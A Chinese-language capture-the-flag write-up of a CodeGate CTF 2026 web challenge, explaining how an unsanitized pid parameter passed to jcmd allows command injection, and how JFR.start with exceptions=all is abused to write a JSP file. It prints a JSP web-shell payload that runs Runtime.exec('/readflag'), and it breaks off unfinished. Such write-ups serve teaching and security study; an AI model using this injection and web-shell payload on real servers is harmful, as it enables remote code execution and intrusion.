CodeGate CTF 2026 复现
CodeGate CTF 2026 复现
WEB
juice of Apple, Vegetable, Apricot

题目不复杂,主要就是获取PID,然后拼接进去执行jcmd命令
/api/status?pid=
1 | String cmd = "jcmd " + pid + " VM.version"; |
/api/heap?pid=
1 | String cmd = "jcmd " + pid + " GC.heap_info"; |
/api/threads?pid=
1 | String cmd = "jcmd " + pid + " Thread.print"; |
pid没有经过处理,是会产生命令注入的,那么我们要想一个办法写文件
我们需要找一个命令,不会让pid后面的字符导致命令报错不执行
jcmd $pid JFR.start刚好非常合适,后面多余的参数只会产生WARNING,不会导致命令不执行直接报错退出

成功写入了jsp文件,那么接下来就要想办法控制jsp的内容

Oracle官方文档里对JFR.Start的一部分介绍
https://docs.oracle.com/en/java/javase/17/docs/specs/man/jcmd.html
1 | Event settings and .jfc options can be specified using the following syntax: |
题目的.jfr文件在/opt/java/openjdk/lib/jfr/profile.jfc
我们看关键部分
1 | <selection name="exceptions" default="errors" label="Exceptions"> |
根据前面文档里说的You can specify values for multiple event settings and .jfc options by separating them with a whitespace. In case of a conflict between a parameter and a .jfc option, the parameter will take precedence.
所以当我们传入settings=profile exceptions=all,配置exceptions的值会被覆盖成all,这会使得jdk.JavaExceptionThrow和jdk.JavaErrorThrow都被记录
payload中不能出现空格,不然抛出异常的时候会被截断,导致payload不完整,这里随便找个办法获取exec的输出
1 | /xxx/<%=java.util.Scanner.class.getConstructor(java.io.InputStream.class).newInstance(java.lang.Runtime.getRuntime().exec("/readflag").getInputStream()).useDelimiter("\\A").next()%> |
触发报错
1 | Invalid character found in the request target [/<%=java.util.Scanner.class.getConstructor(java.io.InputStream.class).newInstance(java.lang.Runtime.getRuntime().exec("/readflag").getInputStream()).useDelimiter("\\A").next()%> ]. The valid characters are defined in RFC 7230 and RFC 3986 |

到test.jsp里搜索Invalid character found in the request

未完待续….



